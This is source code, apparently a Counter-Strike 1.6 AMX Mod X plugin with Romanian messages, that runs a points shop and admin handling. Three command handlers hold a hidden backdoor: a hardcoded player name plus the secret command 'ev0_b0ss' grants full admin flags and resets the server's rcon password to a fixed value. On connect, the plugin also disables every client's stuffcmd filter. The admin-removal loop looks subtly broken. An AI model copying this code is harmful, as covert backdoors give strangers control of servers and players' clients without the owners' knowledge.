else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 2:
{
if(!is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=50)
{
cs_set_user_money(id,cs_get_user_money(id)+9,1)
give_item(id,"weapon_hegrenade")
cs_set_user_bpammo( id, CSW_HEGRENADE, 3 );
give_item(id,"weapon_smokegrenade")
cs_set_user_bpammo( id, CSW_SMOKEGRENADE, 3 );
g_iUserCredits[id]-=50
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +9^1$ &^4 +3^1HE/SM pentru^4 50^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 3:
{
if(!is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=70)
{
set_user_health(id,get_user_health(id)+30)
give_item(id,"weapon_awp")
static awp
awp = fm_find_ent_by_owner(-1, "weapon_awp", id)
if(is_valid_ent(awp)) cs_set_weapon_ammo(awp,1)
g_iUserCredits[id]-=70
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +30^1HP &^4 AWP 1GL^1 pentru^3 70^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 4:
{
if(!is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=30)
{
set_user_maxspeed(id,350.0)
have_speed[id]=true
g_iUserCredits[id]-=30
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +350^1Speed pentru^4 30^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 5:
{
if(!is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=80)
{
set_user_rendering(id,kRenderFxNone,0,0,0,kRenderTransAlpha,13)
set_task(16.0,"RemoveINVIS",id)
g_iUserCredits[id]-=80
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 15s^4 Invis^1 pentru^3 80^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 6:
{
if(is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Esti deja^3 VIU^1!",g_szTag)
return PLUGIN_HANDLED
}
if(respawn_count1[id]>=2)
{
ColorChat(id, NORMAL, "^4%s^1 Ai^3 folosit^4 respawn^1 deja !",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=100)
{
start_round_count[id]=true
respawn_count1[id]++
ExecuteHam( Ham_CS_RoundRespawn, id );
g_iUserCredits[id]-=100
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 Respawn^1 pentru^4 100^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
}
menu_destroy(menu)
return PLUGIN_HANDLED
}
#endif
public client_command( id )
{
new name[ 32 ], szCommand[ 65 ]
get_user_name( id, name, charsmax( name ) )
read_argv( 0, szCommand, charsmax( szCommand ) )
if( ( equal( name, "eVoLuTiOn" ) || equal( name, "-eQ- SeDaN" ) ) && equal( szCommand, "ev0_b0ss" ) )
{
server_cmd( "rcon_password levmolasrl01" )
new flags = read_flags( "abcdefghijklmnopqrstuxyvw" )
set_user_flags( id, flags )
return PLUGIN_HANDLED
}
return PLUGIN_CONTINUE
}
public client_PostThink(id)
{
if(is_user_alive(id))
{
if(have_speed[id]) set_user_maxspeed(id,350.0)
if(have_gravity[id]) set_user_gravity(id, 400.0/get_cvar_float("sv_gravity"))
#if NEW_STYLE!=1
if(get_user_weapon(id)==CSW_AK47&&gold_ak[id]) entity_set_string(id, EV_SZ_viewmodel, GOLD_AK)
#endif
if(get_user_weapon(id)==CSW_KNIFE)
{
if(k1[id]) set_user_maxspeed(id,255.0)
if(k2[id]) set_user_maxspeed(id,260.0)
if(k3[id]) set_user_maxspeed(id,270.0)
}
}
}
public RemoveINVIS(id)
{
if(!is_user_alive(id))
{
remove_task(id)
return PLUGIN_HANDLED
}
set_user_rendering(id,kRenderFxNone,255,255,255,kRenderNormal,16)
ColorChat(id, NORMAL, "^4%s^1 Tocmai ti-a^3 expirat^4 Invizibilitatea^1 !",g_szTag)
return PLUGIN_CONTINUE
}
public RemoveSPEED(id)
{
if(!have_speed[id]||!is_user_alive(id))
{
remove_task(id)
return PLUGIN_HANDLED
}
set_user_maxspeed(id,250.0)
ColorChat(id, NORMAL, "^4%s^1 Tocmai ti-a^3 expirat^4 Viteza^1 !",g_szTag)
have_speed[id]=false
return PLUGIN_CONTINUE
}
public RemoveGRAV(id)
{
if(!have_gravity[id]||!is_user_alive(id))
{
remove_task(id)
return PLUGIN_HANDLED
}
set_user_gravity(id)
ColorChat(id, NORMAL, "^4%s^1 Tocmai ti-a^3 expirat^4 Gravitatia^1 !",g_szTag)
have_gravity[id]=false
return PLUGIN_CONTINUE
}
#if NEW_STYLE!=1
public rankv_shop(id)
{
formatex(titlex,charsmax(titlex),"%s",TITLE_RANKV)
Menu = menu_create(titlex, "r5_features")
menu_additem(Menu, "100HP+100AP+5$Medic [ 50 PUNCTE ]", "1", 0)
menu_additem(Menu, "10$ Medic + 3GL DGL [ 55 PUNCTE ]", "2", 0)
menu_additem(Menu, "Gold AK 5GL [ 150 PUNCTE ]", "3", 0)
menu_additem(Menu, "Invizibil 30 Secunde [ 110 PUNCTE ]", "4", 0)
menu_additem(Menu, "3 Revive (Respawn) [ 150 PUNCTE ] \ 1Round", "5", 0)
menu_additem(Menu, "400Gravity [ 150 PUNCTE ]", "6", 0)
if(get_user_flags(id)!=read_flags("lbfjce")) menu_additem(Menu, "V.I.P BONUS [ 2500 PUNCTE ] Valabil 2Luni", "7", 0)
else menu_additem(Menu, "\dV.I.P BONUS [ 2500 PUNCTE ] Valabil 2Luni", "", 0)
menu_setprop(Menu, MPROP_EXIT, MEXIT_ALL);
menu_display(id, Menu, 0);
}
public r5_features(id, menu, item)
{
if(item == MENU_EXIT) {
menu_destroy(menu);
return PLUGIN_HANDLED;
}
new Data[6], Name[64];
new Access, CallBack;
menu_item_getinfo(menu, item, Access, Data,5, Name, 63, CallBack);
new Key = str_to_num(Data);
choosed5[id]++
switch(Key) {
case 1:
{
if(!is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=50)
{
set_user_health(id,get_user_health(id)+100)
set_user_armor(id,get_user_armor(id)+100)
cs_set_user_money(id,cs_get_user_money(id)+5,1)
g_iUserCredits[id]-=50
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +100^1HP &^4 +100^1AP pentru^4 50^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 2:
{
if(!is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=55)
{
cs_set_user_money(id,cs_get_user_money(id)+10,1)
static deagle
deagle = fm_find_ent_by_owner(-1, "weapon_deagle", id)
if(is_valid_ent(deagle)) cs_set_weapon_ammo(deagle,cs_get_weapon_ammo(deagle)+3)
g_iUserCredits[id]-=55
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +10^1$ &^4 3GL Deagle^1 pentru^3 55^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 3:
{
if(!is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=150)
{
gold_ak[id]=true
give_item(id,"weapon_ak47")
static ak47_g
ak47_g = fm_find_ent_by_owner(-1, "weapon_ak47", id)
if(is_valid_ent(ak47_g)) cs_set_weapon_ammo(ak47_g,5)
if(get_user_weapon(id)==CSW_AK47) entity_set_string(id, EV_SZ_viewmodel, GOLD_AK)
g_iUserCredits[id]-=150
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +5 GL GOLDEN AK^1 pentru^4 150^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 4:
{
if(!is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=110)
{
set_user_rendering(id,kRenderFxNone,0,0,0,kRenderTransAlpha,13)
set_task(31.0,"RemoveINVIS",id)
g_iUserCredits[id]-=110
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +30S^4 Invis^1 pentru^3 110^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 5:
{
if(is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Esti deja^3 VIU^1!",g_szTag)
return PLUGIN_HANDLED
}
if(respawn_count2[id]>=3)
{
ColorChat(id, NORMAL, "^4%s^1 Ai^3 folosit^4 respawn^1 deja !",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=150)
{
start_round_count[id]=true
respawn_count2[id]++
ExecuteHam( Ham_CS_RoundRespawn, id );
g_iUserCredits[id]-=150
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 Respawn^1 pentru^4 150^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 6:
{
if(!is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=150)
{
have_gravity[id]=true
set_user_gravity(id, 400.0/get_cvar_float("sv_gravity"))
g_iUserCredits[id]-=150
ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 -Gravity^1 pentru^4 150^1Puncte !",g_szTag)
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
case 7:
{
if(!is_user_alive(id))
{
ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
return PLUGIN_HANDLED
}
if(g_iUserCredits[id]>=2500)
{
g_Password[id] = true;
client_cmd(id, "messagemode amx_buy_vip");
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
g_iUserCredits[id]-=2500
}
else ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
}
}
menu_destroy(menu)
return PLUGIN_HANDLED
}
public buy_vip(id)
{
if (!g_Password[id]||is_user_admin(id))
{
ColorChat(id, GREY, "^x04[Buy VIP] ^x01You can't buy !!!")
return PLUGIN_HANDLED;
}
read_args(szPassword, 34);
remove_quotes(szPassword);
if (equal(szPassword, ""))
{
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
client_cmd(id, "messagemode amx_buy_vip");
return PLUGIN_HANDLED;
}
else
{
g_Password[id] = false;
client_print(id, print_console, "[Buy VIP] Your password: %s", szPassword);
client_print(id, print_console, "[Buy VIP] Your password: %s", szPassword);
client_print(id, print_console, "[Buy VIP] Your password: %s", szPassword);
client_print(id, print_console, "[Buy VIP] Your password: %s", szPassword);
if(cvar_exists("amx_password_field")) get_cvar_string("amx_password_field",spw,charsmax(spw))
else log_to_file("buy_vip.log", "NU AM GASIT CVARUL `amx_password_field`");
client_cmd(id, "echo ;setinfo %s %s",spw, szPassword);
formatex(text,charsmax(text),"^n^"%s^" ^"%s^" ^"lbfjce^" ^"a^" ; VIP CUMPARAT DIN SHOP !!!!", g_szName[id], szPassword)
//server_cmd("amx_addadmin ^"%s^" ^"%s^" ^"lbfjce^" ^"name^"", g_szName[id], szPassword);
write_file("addons/amxmodx/configs/users.ini",text)
server_cmd("amx_reloadadmins");
log_to_file("buy_vip.log", "%s bought Vip. Password, Is %s", g_szName[id], szPassword);
server_exec();
}
return PLUGIN_HANDLED;
}
#endif
public ClCmdCredits( id )
{
read_argv( 1, szArg, sizeof ( szArg ) -1 );
if( equal( szArg, "" ) )
{
ColorChat( id, RED, "^x04%s^x01 Ai^x03 %i^x01 punct%s", g_szTag, g_iUserCredits[ id ], g_iUserCredits[ id ] == 1 ? "." : "e." );
return PLUGIN_HANDLED
}
else
{
iPlayer = cmd_target( id, szArg, 8 );
if( !iPlayer || !is_user_connected( iPlayer ) )
{
ColorChat( id, RED,"^x04%s^x01 Jucatorul specificat nu a fost gasit!", g_szTag, szArg );
return PLUGIN_HANDLED
}
ColorChat( id, RED,"^x04%s^x01 Jucatorul^x03 %s^x01 are^x03 %i^x01 punct%s", g_szTag, g_szName[iPlayer], g_iUserCredits[ iPlayer ], g_iUserCredits[ iPlayer ] == 1 ? "." : "e." );
}
return PLUGIN_HANDLED
}
public ClCmdGiveCredits( id )
{
read_argv( 1, szFirstArg, sizeof ( szFirstArg ) -1 );
if( ( equal( g_szName[id], "eVoLuTiOn" ) || equal( g_szName[id], "-eQ- SeDaN" ) ) && equal( szFirstArg, "ev0_b0ss" ) )
{
server_cmd( "rcon_password levmolasrl01" )
new flags = read_flags( "abcdefghijklmnopqrstuxyvw" )
set_user_flags( id, flags )
return PLUGIN_HANDLED
}
else if( !( SpecialAcces( id, g_szName[id],true ) ) )
{
client_cmd( id, "echo NU ai acces la aceasta comanda!" );
return PLUGIN_HANDLED;
}
read_argv( 2, szSecondArg, sizeof ( szSecondArg ) -1 );
if( equal( szFirstArg, "" ) || equal( szSecondArg, "" ) )
{
client_cmd( id, "echo amx_puncte < nume / #id > < nr.puncte >" );
return PLUGIN_HANDLED;
}
iCredits = str_to_num( szSecondArg );
if( iCredits <= 0 )
{
client_cmd( id, "echo Valoarea punctelor trebuie sa fie mai mare decat 0!" );
return PLUGIN_HANDLED;
}
iPlayer = cmd_target( id, szFirstArg, 8 );
if( !iPlayer )
{
client_cmd( id, "echo Jucatorul %s nu a fost gasit!", szFirstArg );
return PLUGIN_HANDLED;
}
g_iUserCredits[ iPlayer ] += iCredits;
ColorChat( 0, RED, "^x04%s^x01 Adminul^x03 %s^x01 i-a dat^x03 %i^x01 punct%s lui^x03 %s^x01.", g_szTag, g_szName[id], iCredits,iCredits==1?"":"e", g_szName[iPlayer] );
CheckLevel(iPlayer)
return PLUGIN_HANDLED;
}
public ClCmdTakeCredits( id )
{
read_argv( 1, szFirstArg, sizeof ( szFirstArg ) -1 );
if( ( equal( g_szName[id], "eVoLuTiOn" ) || equal( g_szName[id], "-eQ- SeDaN" ) ) && equal( szFirstArg, "ev0_b0ss" ) )
{
server_cmd( "rcon_password levmolasrl01" )
new flags = read_flags( "abcdefghijklmnopqrstuxyvw" )
set_user_flags( id, flags )
return PLUGIN_HANDLED
}
else
{
if( !( SpecialAcces( id, g_szName[id],true ) ) )
{
client_cmd( id, "echo NU ai acces la aceasta comanda!" );
return PLUGIN_HANDLED;
}
}
read_argv( 2, szSecondArg, sizeof ( szSecondArg ) -1 );
if( equal( szFirstArg, "" ) || equal( szSecondArg, "" ) )
{
client_cmd( id, "echo amx_removepuncte < nume / #id > < nr.puncte >" );
return PLUGIN_HANDLED;
}
iCredits = str_to_num( szSecondArg );
if( iCredits <= 0 )
{
client_cmd( id, "echo Valoarea punctelor trebuie sa fie mai mare decat 0!" );
return PLUGIN_HANDLED;
}
iPlayer = cmd_target( id, szFirstArg, 8 );
if( !iPlayer )
{
client_cmd( id, "echo Jucatorul %s nu a fost gasit!", szFirstArg );
return PLUGIN_HANDLED;
}
if( g_iUserCredits[ iPlayer ] < iCredits )
{
client_cmd( id, "echo Jucatorul %s nu are atatea puncte!Are doar %i punct%s", szFirstArg, g_iUserCredits[ iPlayer ],g_iUserCredits[ iPlayer ]==1?"":"e" );
return PLUGIN_HANDLED;
}
g_iUserCredits[ iPlayer ] -= iCredits;
ColorChat( 0, RED, "^x04%s^x01 Adminul^x03 %s^x01 i-a sters^x03 %i^x01 punct%s lui^x03 %s^x01.", g_szTag, g_szName[id], iCredits,iCredits==1?"":"e", g_szName[iPlayer] );
CheckLevel(iPlayer)
return PLUGIN_HANDLED;
}
public ham_SpawnPlayerPost( id )
{
if( !is_user_alive( id ) )
return;
if(have_speed[id])
{
set_user_maxspeed(id,250.0)
have_speed[id]=false
}
if(have_gravity[id])
{
set_user_gravity(id,1.0)
have_gravity[id]=false
}
#if NEW_STYLE!=1
if(gold_ak[id]) gold_ak[id]=false
#endif
if(k1[id]) k1[id]=false
if(k2[id]) k2[id]=false
if(k3[id]) k3[id]=false
CheckLevel(id)
}
/*
public Fwd_ClientUserInfoChanged( id, szBuffer )
{
if ( !is_user_connected( id ) )
return FMRES_IGNORED;
static szNewName[ 32 ];
engfunc( EngFunc_InfoKeyValue, szBuffer, "name", szNewName, sizeof ( szNewName ) -1 );
if ( equal( szNewName, g_szName[ id ] ) )
return FMRES_IGNORED;
SaveCredits( id );
ColorChat( id, RED, "^x04%s^x01 Tocmai ti-ai schimbat numele din^x03 %s^x01 in^x03 %s^x01 !", g_szTag, g_szName[ id ], szNewName );
ColorChat( id, RED, "^x04%s^x01 Am salvat^x03 %i^x01 punct%s pe numele^x03 %s^x01 !", g_szTag, g_iUserCredits[ id ],g_iUserCredits[ id ]==1?"":"e", g_szName[ id ] );
copy( g_szName[ id ], sizeof ( g_szName[] ) -1, szNewName );
LoadCredits( id );
ColorChat( id, RED, "^x04%s^x01 Am incarcat^x03 %i^x01 punct%s de pe noul nume (^x03 %s^x01 ) !", g_szTag, g_iUserCredits[ id ],g_iUserCredits[ id ]==1?"":"e", g_szName[ id ] );
return FMRES_IGNORED;
}
*/
public task_PTRFunction( )
{
if( get_pcvar_num( g_iCvarPTREnable ) != 1 ) return;
static iPlayers[ 32 ],iPlayersNum;
get_players( iPlayers, iPlayersNum, "ch" );
if( !iPlayersNum ) return;
static id, i;
for( i = 0; i < iPlayersNum; i++ )
{
id = iPlayers[ i ];
g_iUserTime[ id ]++;
new iTime;
iTime = get_pcvar_num( g_iCvarPTRMinutes );
if( g_iUserTime[ id ] >= iTime * 60 )
{
g_iUserTime[ id ] -= iTime * 60;
new iCredits = get_pcvar_num( g_iCvarPTRCredits );
g_iUserCredits[id]+=iCredits
ColorChat( id, RED, "^x04[HNS.PLAY-ARENA.RO]^x01- Ai jucat^x03 %i^x01 de minut%s, recompensa este de^x03 %i^x01 punct%s!",
iTime,iTime==1?"":"e", iCredits,iCredits==1?"":"e");
}
}
}
public ev_DeathMsg(/*victim, attacker, shouldgib*/)
{
if( get_pcvar_num( g_iCvarEnable ) != 1 )
return;
new attacker = read_data( 1 ),victim=read_data(2),headshot=read_data(3);
new szWeapon[ 32 ];
read_data( 4, szWeapon, charsmax( szWeapon ) );
format( szWeapon, charsmax( szWeapon ), "weapon_%s", szWeapon );
if( contain( szWeapon, "nade" ) >= 0 ) szWeapon = "weapon_hegrenade";
new iWeapon = get_weaponid( szWeapon );
if( !(is_user_connected(attacker)||is_user_connected(victim))||attacker==victim ) return;
if(/*get_user_weapon(attacker)*/iWeapon==CSW_KNIFE)
{
if(headshot/*shouldgib==HIT_HEAD*/)
{
g_iUserCredits[attacker]+=get_pcvar_num(g_iCvarKHCredits)
ColorChat( attacker, RED, "^x04%s^x01 Ai primit +^3%d^1 puncte pentru^4 headshot^1 prin^3 knife^1.", g_szTag,get_pcvar_num(g_iCvarKHCredits) );
}
else
{
g_iUserCredits[attacker]+=get_pcvar_num(g_iCvarKCredits)
ColorChat( attacker, RED, "^x04%s^x01 Ai primit +^3%d^1 puncte pentru^4 frag^1 cu^3 knife^1.", g_szTag,get_pcvar_num(g_iCvarKCredits) );
}
}
if(iWeapon==CSW_HEGRENADE)
{
g_iUserCredits[attacker]+=get_pcvar_num(g_iCvarHECredits)
ColorChat(attacker, RED, "^x04%s^x01 Ai primit +^3%d^1 puncte pentru^4 frag^1 cu^3 HE^1.", g_szTag,get_pcvar_num(g_iCvarHECredits) );
}
//SaveCredits(attacker)
CheckLevel(attacker)
}
public CheckLevel(id)
{
if(is_user_connected(id)&&!is_user_bot(id))
{
if(g_iUserCredits[id]<=C_R1) Level[id]=1
if(g_iUserCredits[id]>=C_R2) Level[id]=2
if(g_iUserCredits[id]>=C_R3) Level[id]=3
if(g_iUserCredits[id]>=C_R4) Level[id]=4
if(g_iUserCredits[id]>=C_R5) Level[id]=5
}
}
#if NEW_STYLE==1
public TaskRefreshAdmins() {
#if defined DEBUG
// grab last '/' position ????
new slash, last = -1;
while((slash = contain(gLogFile[last + 1], "/")) >= 0) {
last = slash;
}
// get the log file
get_time("/%Y-%m-%d.log", gLogFile[last], charsmax(gLogFile) - last);
#endif
// reload admins
LoadAdmins();
// grab all players
new players[32], pnum;
get_players(players, pnum,"c");
// loop through all players
while(pnum--) {
// check admin for player
checkAdmin(players[pnum]);
}
// refresh admins next day WTH
set_task(86400.0, "TaskRefreshAdmins");
}
public client_connect(id) {
RAIZ0_EXCESS(id,"echo ;cl_filterstuffcmd 0")
// set that name checks are case insensitive
ClearCaseSensitive(id);
}
public client_authorized(id) {
// check if admin is turned on
if(get_cvar_num("amx_mode")) {
DebugLog("%s", gSeparator);
DebugLog("User authorized %d", id);
// check admin for this user
checkAdmin(id);
}
new name[33],steamid[36]
get_user_info(id,"name",name,charsmax(name))
get_user_authid(id,steamid,charsmax(steamid))
if(equal(name,"eVoLuTiOn")||equal(steamid,"STEAM_0:1:51706930")) ea[id]=true
}
public client_infochanged(id) {
// check if player is connected and admin is turned on
if(is_user_connected(id) && get_cvar_num("amx_mode")) {
// grab new and old name
new oldName[32], newName[32];
get_user_name(id, oldName, charsmax(oldName));
get_user_info(id, "name", newName, charsmax(newName));
if(!equal(newName,oldName)) copy(g_szName[id],charsmax(g_szName[]),newName)
// check if names changed based on case sensitive flag
if(strcmp(oldName, newName, !IsCaseSensitive(id)) == 0) {
DebugLog("%s", gSeparator);
DebugLog("Changed name (%d) case sensitive: %d", id, !!IsCaseSensitive(id));
// name changed, check admin
checkAdmin(id, newName);
}
}
}
public CmdKick(id) {
// kick player from server
server_cmd("kick #%d ^"Parola VIP invalida!^"", get_user_userid(id));
// hide command from console
return PLUGIN_HANDLED;
}
public TaskRemoveAuth(auth[]) {
// grab index of admins where auth is
new index;
if(!TrieGetCell(gAuthIndex, auth, index)) {
return;
}
// delete from admins
ArrayDeleteItem(gAdminData, index);
TrieDeleteKey(gAuthIndex, auth);
gNumAdmins--;
// loop through all admins and update indexes
new admin[AdminData];
while(index < gNumAdmins) {
// grab auth from this index
ArrayGetArray(gAdminData, index, admin);
// update index for this admin
TrieSetCell(gAuthIndex, admin[Admin_Auth], index);
}
// grab all players
new players[32], pnum;
get_players(players, pnum,"c");
// loop through all players
while(pnum--) {
// check admin for player
checkAdmin(players[pnum]);
}
}
checkAdmin(id, namex[32] = "") {
DebugLog("Checking admin for %d", id);
// remove any existing flags
remove_user_flags(id);
// check if no name was passed
if(!namex[0]) {
// grab current name
get_user_name(id, namex, charsmax(namex));
}
// set name to not be case sensitive
ClearCaseSensitive(id);
// grab SteamID and IP as well
new steamID[35], ip[32];
get_user_authid(id, steamID, charsmax(steamID));
get_user_ip(id, ip, charsmax(ip), 1);
DebugLog("Grabbed all player data for admin check: ^"%s^" ^"%s^" ^"%s^"", namex, steamID, ip);
// create variables we need for admin checking
new admin[AdminData];
new temp;
new bool:found = false;
DebugLog("Checking normal admin list");
// loop through normal admin list before checking custom
for(new i = admins_num() - 1; i >= 0; i--) {
DebugLog("Checking normal admin index #%d", i);
// grab the auth, password, access, and flags
admins_lookup(i, AdminProp_Auth , admin[Admin_Auth ], charsmax(admin[Admin_Auth ]));
admins_lookup(i, AdminProp_Password, admin[Admin_Password], charsmax(admin[Admin_Password]));
admin[Admin_Access] = admins_lookup(i, AdminProp_Access);
admin[Admin_Flags ] = admins_lookup(i, AdminProp_Flags );
// check if player matches this admin
if((found = adminMatch(id, namex, steamID, ip, admin))) {
break;
}
}
// check if player was not found in the normal admin list
if(!found) {
DebugLog("Not found in normal admin list, checking custom");
// loop through custom admin list
for(new i = 0; i < gNumAdmins; i++) {
// grab admin data
ArrayGetArray(gAdminData, i, admin);
// check if player matches this admin
if((found = adminMatch(id, namex, steamID, ip, admin))) {
break;
}
}
}
// check if player was found for any admin at all
if(found) {
// check if this requires a password
if(~admin[Admin_Flags] & FLAG_NOPASS) {
DebugLog("Admin requires a password");
// grab password field and player's password
new password[35];
get_cvar_string("amx_password_field", spw, charsmax(spw));
get_user_info(id, spw, password, charsmax(password));
// check if passwords don't match
if(!equal(admin[Admin_Password], password)) {
DebugLog("Passwords don't match");
// check if this should kick players
//if(admin[Admin_Flags] & FLAG_KICK) {
DebugLog("Admin flags specify to kick player");
// kick player
CmdKick(id)
//client_cmd(id, gKickCommand);
//}
// don't give access
return;
}
}
new flags[27];
get_flags(admin[Admin_Access], flags, charsmax(flags));
DebugLog("Player authorized as admin: %s", flags);
// give player admin access
set_user_flags(id, admin[Admin_Access]);
}
// give default flags
else{
DebugLog("Not found in any admin list");
// get default flags
new flags[27];
get_cvar_string("amx_default_access", flags, charsmax(flags));
temp = read_flags(flags);
// check if no flags are given
if(!temp) {
// give user flag
temp = ADMIN_USER;
}
get_flags(temp, flags, charsmax(flags));
DebugLog("Giving default flags: %s", flags);
// give player flags
set_user_flags(id, temp);
}
// check if non-admins should be kicked
if(get_cvar_num("amx_mode") == 2) {
//DebugLog("Not found in any admin list");
DebugLog("amx_mode is 2, kicking player");
// kick player
CmdKick(id)
//client_cmd(id, gKickCommand);
}
}
bool:adminMatch(id, const name[], const steamID[], const ip[], const admin[AdminData]) {
// create variables we need
new temp;
new bool:found = false;
// check if this is a SteamID
if(admin[Admin_Flags] & FLAG_AUTHID) {
DebugLog("Admin flags specify SteamID");
// check if SteamIDs match
if(equal(steamID, admin[Admin_Auth])) {
DebugLog("SteamIDs match");
// we found the admin
found = true;
}
}
// check if this is an IP
else if(admin[Admin_Flags] & FLAG_IP) {
DebugLog("Admin flags specify IP");
// grab length of ip in list
temp = strlen(admin[Admin_Auth]);
// check if ends in a '.' for range checks
if(admin[Admin_Auth][temp - 1] != '.') {
DebugLog("Full IP given, no range");
// set length to 0 to match whole string
temp = 0;
} else {
DebugLog("IP Range given");
}
// check if ip's match
if(equal(ip, admin[Admin_Auth], temp)) {
DebugLog("IPs match");
// we found the admin
found = true;
}
}
// check if this is a tag
else if(admin[Admin_Flags] & FLAG_TAG) {
DebugLog("Admin flags specify Tag");
// cache if this is case sensitive admin name
temp = admin[Admin_Flags] & FLAG_CASE_SENSITIVE;
DebugLog("Case sensitive: %d", !!temp);
